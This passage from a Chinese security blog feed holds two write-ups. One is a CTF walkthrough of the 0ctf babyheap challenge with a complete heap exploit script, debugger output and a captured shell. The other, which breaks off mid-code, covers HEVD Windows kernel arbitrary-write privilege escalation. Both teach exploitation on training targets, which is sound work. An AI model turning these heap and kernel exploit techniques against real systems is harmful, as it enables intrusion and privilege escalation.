class="string">'2'</span>)</span><br><span class="line">    r.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line">    r.sendline(str(idx))</span><br><span class="line">    r.recvuntil(<span class="string">'Size: '</span>)</span><br><span class="line">    r.sendline(str(len(content)))</span><br><span class="line">    r.recvuntil(<span class="string">'Content: '</span>)</span><br><span class="line">    r.send(content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dump</span><span class="params">(idx)</span>:</span></span><br><span class="line">    r.recvuntil(<span class="string">'Command: '</span>)</span><br><span class="line">    r.sendline(<span class="string">'4'</span>)</span><br><span class="line">    r.recvuntil(<span class="string">'Index: '</span>)</span><br><span class="line">    r.sendline(str(idx))</span><br><span class="line">    r.recvline()</span><br><span class="line">    <span class="keyword">return</span> r.recvline()</span><br><span class="line"></span><br><span class="line">malloc(<span class="number">0x10</span>) <span class="comment"># fast chunk 0</span></span><br><span class="line">malloc(<span class="number">0x10</span>) <span class="comment"># fast chunk 1</span></span><br><span class="line">malloc(<span class="number">0x10</span>) <span class="comment"># fast chunk 2</span></span><br><span class="line">malloc(<span class="number">0x10</span>) <span class="comment"># fast chunk 3</span></span><br><span class="line">malloc(<span class="number">0x80</span>) <span class="comment"># small chunk</span></span><br><span class="line"></span><br><span class="line">free(<span class="number">1</span>) <span class="comment"># fastbin &lt;- chunk1</span></span><br><span class="line">free(<span class="number">2</span>) <span class="comment"># fastbin &lt;- chunk2 &lt;- chunk1</span></span><br><span class="line"></span><br><span class="line">fill(<span class="number">0</span>,p64(<span class="number">0</span>)*<span class="number">3</span>+p64(<span class="number">0x21</span>)+p64(<span class="number">0</span>)*<span class="number">3</span>+p64(<span class="number">0x21</span>)+p8(<span class="number">0x80</span>))</span><br><span class="line"></span><br><span class="line">fill(<span class="number">3</span>,p64(<span class="number">0</span>)*<span class="number">3</span>+p64(<span class="number">0x21</span>))</span><br><span class="line"></span><br><span class="line">malloc(<span class="number">0x10</span>)</span><br><span class="line">malloc(<span class="number">0x10</span>)</span><br><span class="line"></span><br><span class="line">fill(<span class="number">3</span>,p64(<span class="number">0</span>)*<span class="number">3</span>+p64(<span class="number">0x91</span>))</span><br><span class="line">malloc(<span class="number">0x80</span>)</span><br><span class="line">free(<span class="number">4</span>)</span><br><span class="line"></span><br><span class="line">libc_base = u64(dump(<span class="number">2</span>)[:<span class="number">8</span>].strip().ljust(<span class="number">8</span>, <span class="string">"\x00"</span>))<span class="number">-0x58</span><span class="number">-0x399b00</span></span><br><span class="line">success(<span class="string">"libc_base: "</span>+hex(libc_base))</span><br><span class="line"></span><br><span class="line">fake_chunk = libc_base + <span class="number">0x399acd</span></span><br><span class="line">success(<span class="string">"fake chunk:"</span>+hex(fake_chunk))</span><br><span class="line">malloc(<span class="number">0x60</span>)</span><br><span class="line">free(<span class="number">4</span>)</span><br><span class="line"></span><br><span class="line">fill(<span class="number">2</span>,p64(fake_chunk)) <span class="comment"># chunk[2]-&gt;fd = fake chunk</span></span><br><span class="line"></span><br><span class="line">malloc(<span class="number">0x60</span>)</span><br><span class="line">malloc(<span class="number">0x60</span>) <span class="comment"># malloc fake chunk</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># construct fake chunk</span></span><br><span class="line">payload = p8(<span class="number">0</span>)*<span class="number">3</span></span><br><span class="line">payload += p64(<span class="number">0</span>)*<span class="number">2</span></span><br><span class="line">payload += p64(libc_base+<span class="number">0x3f35a</span>) <span class="comment"># one_gadgets</span></span><br><span class="line">fill(<span class="number">6</span>, payload)</span><br><span class="line"></span><br><span class="line"><span class="comment"># trigger</span></span><br><span class="line">malloc(<span class="number">255</span>)</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p><strong>泄露libc地址</strong></p><p>这里我们是通过small chunk的机制泄露libc地址，当small chunk被释放之后，会进入unsorted bin中，它的fd和bk指针会指向同一个地址(unsorted bin链表的头部)，通过这个地址可以获得main_arena的地址，然后计算libc基地址，首先我们创建如下几个chunk</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">code:</span><br><span class="line">malloc(0x10) # fast chunk 0</span><br><span class="line">malloc(0x10) # fast chunk 1</span><br><span class="line">malloc(0x10) # fast chunk 2</span><br><span class="line">malloc(0x10) # fast chunk 3</span><br><span class="line">malloc(0x80) # small chunk</span><br><span class="line">debugger:</span><br><span class="line">pwndbg&gt; x/20gx 0x55c448092000</span><br><span class="line">0x55c448092000:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092010:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092020:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092030:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092040:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092050:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092060:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092070:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092080:0x00000000000000000x0000000000000091</span><br><span class="line">0x55c448092090:0x00000000000000000x0000000000000000</span><br><span class="line">pwndbg&gt; x/20gx 0x361e77c925a0 =&gt; heap struct</span><br><span class="line">0x361e77c925a0:0x00000000000000010x0000000000000010</span><br><span class="line">0x361e77c925b0:0x000055c4480920100x0000000000000001</span><br><span class="line">0x361e77c925c0:0x00000000000000100x000055c448092030</span><br><span class="line">0x361e77c925d0:0x00000000000000010x0000000000000010</span><br><span class="line">0x361e77c925e0:0x000055c4480920500x0000000000000001</span><br><span class="line">0x361e77c925f0:0x00000000000000100x000055c448092070</span><br><span class="line">0x361e77c92600:0x00000000000000010x0000000000000080</span><br><span class="line">0x361e77c92610:0x000055c4480920900x0000000000000000</span><br><span class="line">0x361e77c92620:0x00000000000000000x0000000000000000</span><br><span class="line">0x361e77c92630:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>释放两个fast chunk，将第二个指向第一个</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">code:</span><br><span class="line">free(1)</span><br><span class="line">free(2)</span><br><span class="line">debugger:</span><br><span class="line">pwndbg&gt; x/20gx 0x55c448092000</span><br><span class="line">0x55c448092000:0x00000000000000000x0000000000000021 =&gt; 0</span><br><span class="line">0x55c448092010:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092020:0x00000000000000000x0000000000000021 =&gt; 1 free</span><br><span class="line">0x55c448092030:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092040:0x00000000000000000x0000000000000021 =&gt; 2 free</span><br><span class="line">0x55c448092050:0x000055c4480920200x0000000000000000</span><br><span class="line">0x55c448092060:0x00000000000000000x0000000000000021 =&gt; 3</span><br><span class="line">0x55c448092070:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092080:0x00000000000000000x0000000000000091 =&gt; 4</span><br><span class="line">0x55c448092090:0x00000000000000000x0000000000000000</span><br><span class="line">pwndbg&gt; bins</span><br><span class="line">fastbins</span><br><span class="line">0x20: 0x55c448092040 —▸ 0x55c448092020 ◂— 0x0</span><br><span class="line">0x30: 0x0</span><br><span class="line">0x40: 0x0</span><br><span class="line">0x50: 0x0</span><br><span class="line">0x60: 0x0</span><br><span class="line">0x70: 0x0</span><br><span class="line">0x80: 0x0</span><br><span class="line">unsortedbin</span><br><span class="line">all: 0x0</span><br><span class="line">smallbins</span><br><span class="line">empty</span><br><span class="line">largebins</span><br><span class="line">empty</span><br><span class="line">pwndbg&gt; x/20gx 0x361e77c925a0</span><br><span class="line">0x361e77c925a0:0x00000000000000010x0000000000000010</span><br><span class="line">0x361e77c925b0:0x000055c4480920100x0000000000000000</span><br><span class="line">0x361e77c925c0:0x00000000000000000x0000000000000000</span><br><span class="line">0x361e77c925d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x361e77c925e0:0x00000000000000000x0000000000000001</span><br><span class="line">0x361e77c925f0:0x00000000000000100x000055c448092070</span><br><span class="line">0x361e77c92600:0x00000000000000010x0000000000000080</span><br><span class="line">0x361e77c92610:0x000055c4480920900x0000000000000000</span><br><span class="line">0x361e77c92620:0x00000000000000000x0000000000000000</span><br><span class="line">0x361e77c92630:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>这里我们通过 fill 函数修改第0个chunk之后的内容，因为没有限制，所以我们可以修改到2处的指针，让其指向chunk4，因为chunk4是small bin，被链入到了fast bin中会有size的检查，所以我们这里需要将chunk4处的size改为0x20过size的检测</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">code:</span><br><span class="line">fill(0,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80))</span><br><span class="line">debugger:</span><br><span class="line">pwndbg&gt; x/20gx 0x55c448092000</span><br><span class="line">0x55c448092000:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092010:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092020:0x00000000000000000x0000000000000021 free</span><br><span class="line">0x55c448092030:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092040:0x00000000000000000x0000000000000021 free</span><br><span class="line">0x55c448092050:0x000055c4480920800x0000000000000000</span><br><span class="line">0x55c448092060:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092070:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092080:0x00000000000000000x0000000000000091</span><br><span class="line">0x55c448092090:0x00000000000000000x0000000000000000</span><br><span class="line">code:</span><br><span class="line">fill(3,p64(0)*3+p64(0x21))</span><br><span class="line">debugger:</span><br><span class="line">pwndbg&gt; x/20gx 0x55c448092000</span><br><span class="line">0x55c448092000:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092010:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092020:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092030:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092040:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092050:0x000055c4480920800x0000000000000000</span><br><span class="line">0x55c448092060:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092070:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092080:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092090:0x00000000000000000x0000000000000000</span><br><span class="line">pwndbg&gt; bins</span><br><span class="line">fastbins</span><br><span class="line">0x20: 0x55c448092040 —▸ 0x55c448092080 ◂— 0x0</span><br><span class="line">0x30: 0x0</span><br><span class="line">0x40: 0x0</span><br><span class="line">0x50: 0x0</span><br><span class="line">0x60: 0x0</span><br><span class="line">0x70: 0x0</span><br><span class="line">0x80: 0x0</span><br><span class="line">unsortedbin</span><br><span class="line">all: 0x0</span><br><span class="line">smallbins</span><br><span class="line">empty</span><br><span class="line">largebins</span><br><span class="line">empty</span><br></pre></td></tr></table></figure><p>然后我们申请这两个地方的fastbin就可以让index 2的堆块的地址和index 4堆块的地址一样，等index 4被free后，这里就是fd 字段，之后便能通过dump index 2来泄漏index 4的fd内容，括号中括起来的即是heap结构体中指向的同一地址</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">code:</span><br><span class="line">malloc(0x10)</span><br><span class="line">malloc(0x10)</span><br><span class="line">debugger:</span><br><span class="line">pwndbg&gt; x/20gx 0x361e77c925a0</span><br><span class="line">0x361e77c925a0:0x00000000000000010x0000000000000010</span><br><span class="line">0x361e77c925b0:0x000055c4480920100x0000000000000001</span><br><span class="line">0x361e77c925c0:0x00000000000000100x000055c448092050</span><br><span class="line">0x361e77c925d0:0x00000000000000010x0000000000000010</span><br><span class="line">0x361e77c925e0:(0x000055c448092090)0x0000000000000001</span><br><span class="line">0x361e77c925f0:0x00000000000000100x000055c448092070</span><br><span class="line">0x361e77c92600:0x00000000000000010x0000000000000080</span><br><span class="line">0x361e77c92610:(0x000055c448092090)0x0000000000000000</span><br><span class="line">0x361e77c92620:0x00000000000000000x0000000000000000</span><br><span class="line">0x361e77c92630:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>我们再将其改为原来的大小，申请释放即可泄露出fd指向的地址</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">code:</span><br><span class="line">fill(3,p64(0)*3+p64(0x91))</span><br><span class="line">malloc(0x80)</span><br><span class="line">free(4)</span><br><span class="line">debugger:</span><br><span class="line">pwndbg&gt; x/20gx 0x55c448092000</span><br><span class="line">0x55c448092000:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092010:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092020:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092030:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092040:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092050:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092060:0x00000000000000000x0000000000000021</span><br><span class="line">0x55c448092070:0x00000000000000000x0000000000000000</span><br><span class="line">0x55c448092080:0x00000000000000000x0000000000000091</span><br><span class="line">0x55c448092090:0x00007f9c3ed6db580x00007f9c3ed6db58</span><br><span class="line">pwndbg&gt; bins</span><br><span class="line">fastbins</span><br><span class="line">0x20: 0x0</span><br><span class="line">0x30: 0x0</span><br><span class="line">0x40: 0x0</span><br><span class="line">0x50: 0x0</span><br><span class="line">0x60: 0x0</span><br><span class="line">0x70: 0x0</span><br><span class="line">0x80: 0x0</span><br><span class="line">unsortedbin</span><br><span class="line">all: 0x55c448092080 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c448092080</span><br><span class="line">smallbins</span><br><span class="line">empty</span><br><span class="line">largebins</span><br><span class="line">empty</span><br></pre></td></tr></table></figure><p>这个地址是<code>main_arena+88</code>，我们将其减去0x58得到main_arena的地址，然后根据自己系统libc版本减去相应的偏移获得libc的基地址</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">code:</span><br><span class="line">libc_base = u64(dump(2)[:8].strip().ljust(8, &quot;\x00&quot;))-0x58-0x399b00</span><br><span class="line">success(&quot;libc_base: &quot;+hex(libc_base))</span><br><span class="line">debugger:</span><br><span class="line">pwndbg&gt; vmmap</span><br><span class="line">[...]</span><br><span class="line">    0x7f9c3e9d4000     0x7f9c3eb69000 r-xp   195000 0      /usr/lib/x86_64-linux-gnu/libc-2.24.so</span><br><span class="line">[...]</span><br><span class="line">pwndbg&gt; p/x 0x7f9c3ed6db00-0x7f9c3e9d4000</span><br><span class="line">$2 = 0x399b00</span><br></pre></td></tr></table></figure><p><strong>getshell</strong></p><p>我们这里考虑的是使用malloc_hook函数来getshell，当调用 malloc 时，如果 malloc_hook 不为空则调用指向的这个函数，所以这里我们传入一个 one-gadget 即可，首先我们需要找到一个fake chunk，我们将其申请到然后将 one-gadget 写入，它的size选择在0x10~0x80之间即可，这里选择的是mallc_hook上面一排的地方，为了使我们的user data刚好能够写到malloc_hook的位置</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/20gx 0x7f9c3e9d4000+0x399acd</span><br><span class="line">0x7f9c3ed6dacd &lt;_IO_wide_data_0+301&gt;:0x9c3ed69f000000000x000000000000007f</span><br><span class="line">0x7f9c3ed6dadd:0x9c3ea504200000000x9c3ea503c000007f</span><br><span class="line">0x7f9c3ed6daed &lt;__realloc_hook+5&gt;:0x000000000000007f0x0000000000000000</span><br><span class="line">0x7f9c3ed6dafd:0x00000000000000000x0000000000000000</span><br><span class="line">0x7f9c3ed6db0d &lt;main_arena+13&gt;:0x00000000000000000x0000000000000000</span><br><span class="line">0x7f9c3ed6db1d &lt;main_arena+29&gt;:0x00000000000000000x0000000000000000</span><br><span class="line">0x7f9c3ed6db2d &lt;main_arena+45&gt;:0x00000000000000000x0000000000000000</span><br><span class="line">0x7f9c3ed6db3d &lt;main_arena+61&gt;:0x00000000000000000x0000000000000000</span><br><span class="line">0x7f9c3ed6db4d &lt;main_arena+77&gt;:0x00000000000000000xc4480921a0000000</span><br><span class="line">0x7f9c3ed6db5d &lt;main_arena+93&gt;:0x00000000000000550xc448092080000000</span><br></pre></td></tr></table></figure><p>利用fast bin机制进行如下构造，我们需要申请到fake_chunk的位置</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">code:</span><br><span class="line">malloc(0x60)</span><br><span class="line">free(4)</span><br><span class="line">fill(2,p64(fake_chunk)) # chunk[2]-&gt;fd = fake chunk</span><br><span class="line">debugger:</span><br><span class="line">pwndbg&gt; bin</span><br><span class="line">fastbins</span><br><span class="line">0x20: 0x0</span><br><span class="line">0x30: 0x0</span><br><span class="line">0x40: 0x0</span><br><span class="line">0x50: 0x0</span><br><span class="line">0x60: 0x0</span><br><span class="line">0x70: 0x55c448092080 —▸ 0x7f9c3ed6dacd (_IO_wide_data_0+301) ◂— 0x9c3ea50420000000</span><br><span class="line">0x80: 0x0</span><br><span class="line">unsortedbin</span><br><span class="line">all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0</span><br><span class="line">smallbins</span><br><span class="line">empty</span><br><span class="line">largebins</span><br><span class="line">empty</span><br></pre></td></tr></table></figure><p>继续malloc两次即可申请到fake chunk的地方，就可以对malloc_hook进行写入</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">code:</span><br><span class="line">malloc(0x60)</span><br><span class="line">malloc(0x60) # malloc fake chunk</span><br><span class="line">pwndbg&gt; bin</span><br><span class="line">fastbins</span><br><span class="line">0x20: 0x0</span><br><span class="line">0x30: 0x0</span><br><span class="line">0x40: 0x0</span><br><span class="line">0x50: 0x0</span><br><span class="line">0x60: 0x0</span><br><span class="line">0x70: 0x9c3ea50420000000</span><br><span class="line">0x80: 0x0</span><br><span class="line">unsortedbin</span><br><span class="line">all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0</span><br><span class="line">smallbins</span><br><span class="line">empty</span><br><span class="line">largebins</span><br><span class="line">empty</span><br></pre></td></tr></table></figure><p>最后我们构造fake chunk，写入one_gadget即可，这里根据自己的libc版本查询相应的one_gadget</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"># construct fake chunk</span><br><span class="line">payload = p8(0)*3</span><br><span class="line">payload += p64(0)*2</span><br><span class="line">payload += p64(libc_base+0x3f35a) # one_gadgets</span><br><span class="line">fill(6, payload)</span><br><span class="line"></span><br><span class="line"># trigger</span><br><span class="line">malloc(255)</span><br></pre></td></tr></table></figure><p>最后getshell</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">$ ls</span><br><span class="line">[DEBUG] Sent 0x3 bytes:</span><br><span class="line">    &apos;ls\n&apos;</span><br><span class="line">[DEBUG] Received 0x2f bytes:</span><br><span class="line">    &apos;0ctfbabyheap  core  exp.py  libc.so.6\n&apos;</span><br><span class="line">0ctfbabyheap  core  exp.py  libc.so.6</span><br><span class="line">$ whoami</span><br><span class="line">[DEBUG] Sent 0x7 bytes:</span><br><span class="line">    &apos;whoami\n&apos;</span><br><span class="line">[DEBUG] Received 0x8 bytes:</span><br><span class="line">    &apos;thunder\n&apos;</span><br><span class="line">thunder</span><br></pre></td></tr></table></figure><p><strong>总结</strong></p><p>这道题目因为可以自己构造堆的结构，所以比较自由，利用的方法也非常多，我的exp是针对我的deepin环境，想要在不同平台进行利用，需要查看自己libc中的偏移，修改部分偏移即可，一些知识点总结如下</p><ol><li>保护全开可以覆写malloc_hook，free_hook等函数</li><li>small chunk泄露fd和bk，从而泄露libc的手法</li><li>堆溢出的前提下对fast bin检查机制的一些绕过手法</li></ol>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;0x00：Introduction&quot;&gt;&lt;a href=&quot;#0x00：Introduction&quot; class=&quot;headerlink&quot; title=&quot;0x00：Introduction&quot;&gt;&lt;/a&gt;0x00：Introduction&lt;/h1&gt;&lt;p&gt;本篇文章主要总结自己
      
    
    </summary>
    
      <category term="CTF" scheme="https://thunderjie.github.io/categories/CTF/"/>
    
      <category term="PWN" scheme="https://thunderjie.github.io/categories/CTF/PWN/"/>
    
    
      <category term="Linux Pwn" scheme="https://thunderjie.github.io/tags/Linux-Pwn/"/>
    
  </entry>
  
  <entry>
    <title>www漏洞从win7-win10</title>
    <link href="https://thunderjie.github.io/2019/08/19/www%E6%BC%8F%E6%B4%9E%E4%BB%8Ewin7-win10/"/>
    <id>https://thunderjie.github.io/2019/08/19/www漏洞从win7-win10/</id>
    <published>2019-08-19T14:22:39.000Z</published>
    <updated>2020-05-07T03:27:10.138Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x00：前言"><a href="#0x00：前言" class="headerlink" title="0x00：前言"></a>0x00：前言</h1><p>本篇文章主要分享HEVD这个Windows内核漏洞训练项目中的Write-What-Where漏洞在win7 x64到win10 x64 1605的一个爬坑过程，Windows内核漏洞的原理比较简单，关键点在于exp的编写，这里我从win7 x64开始说起，看此文章之前你需要有以下准备：</p><ul><li>Windows相应版本的虚拟机</li><li>配置好windbg等调试工具，建议配合VirtualKD使用</li><li>HEVD+OSR Loader配合构造漏洞环境</li></ul><p>如果你不是很清楚这个漏洞的基本原理的话，你可以从我的<a href="https://xz.aliyun.com/t/5615" target="_blank" rel="noopener">另一篇文章</a>了解到这个漏洞的原理以及在win 7 x86下的利用，我这里就不多加赘述了</p><h1 id="0x01：Windows-7-x64利用"><a href="#0x01：Windows-7-x64利用" class="headerlink" title="0x01：Windows 7 x64利用"></a>0x01：Windows 7 x64利用</h1><p>让我们简单回顾一下在Windows 7 x86下我们利用的利用思路和关键代码，全部的代码参考 =&gt; <a href="https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/ArbitraryOverwrite/ArbitraryOverwrite/test.c" target="_blank" rel="noopener">这里</a></p><p><strong>利用思路</strong></p><ul><li>初始化句柄等结构</li><li>计算我们需要Hook的地址<code>HalDispatchTable+0x4</code></li><li>调用<code>TriggerArbitraryOverwrite</code>函数将<code>shellcode</code>地址放入Hook地址</li><li>调用<code>NtQueryIntervalProfile</code>函数触发漏洞</li><li>调用cmd验证提权结果</li></ul><p><strong>关键代码</strong></p><p>计算Hook地址</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">DWORD32 <span class="title">GetHalOffset_4</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">// ntkrnlpa.exe in kernel space base address</span></span><br><span class="line">PVOID pNtkrnlpaBase = NtkrnlpaBase();</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]ntkrnlpa base address is 0x%p\n"</span>, pNtkrnlpaBase);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ntkrnlpa.exe in user space base address</span></span><br><span class="line">HMODULE hUserSpaceBase = LoadLibrary(<span class="string">"ntkrnlpa.exe"</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// HalDispatchTable in user space address</span></span><br><span class="line">PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, <span class="string">"HalDispatchTable"</span>);</span><br><span class="line"></span><br><span class="line">DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + <span class="number">0x4</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]HalDispatchTable+0x4 is 0x%p\n"</span>, hal_4);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> (DWORD32)hal_4;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>调用问题函数执行shellcode</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">NtQueryIntervalProfile_t NtQueryIntervalProfile = 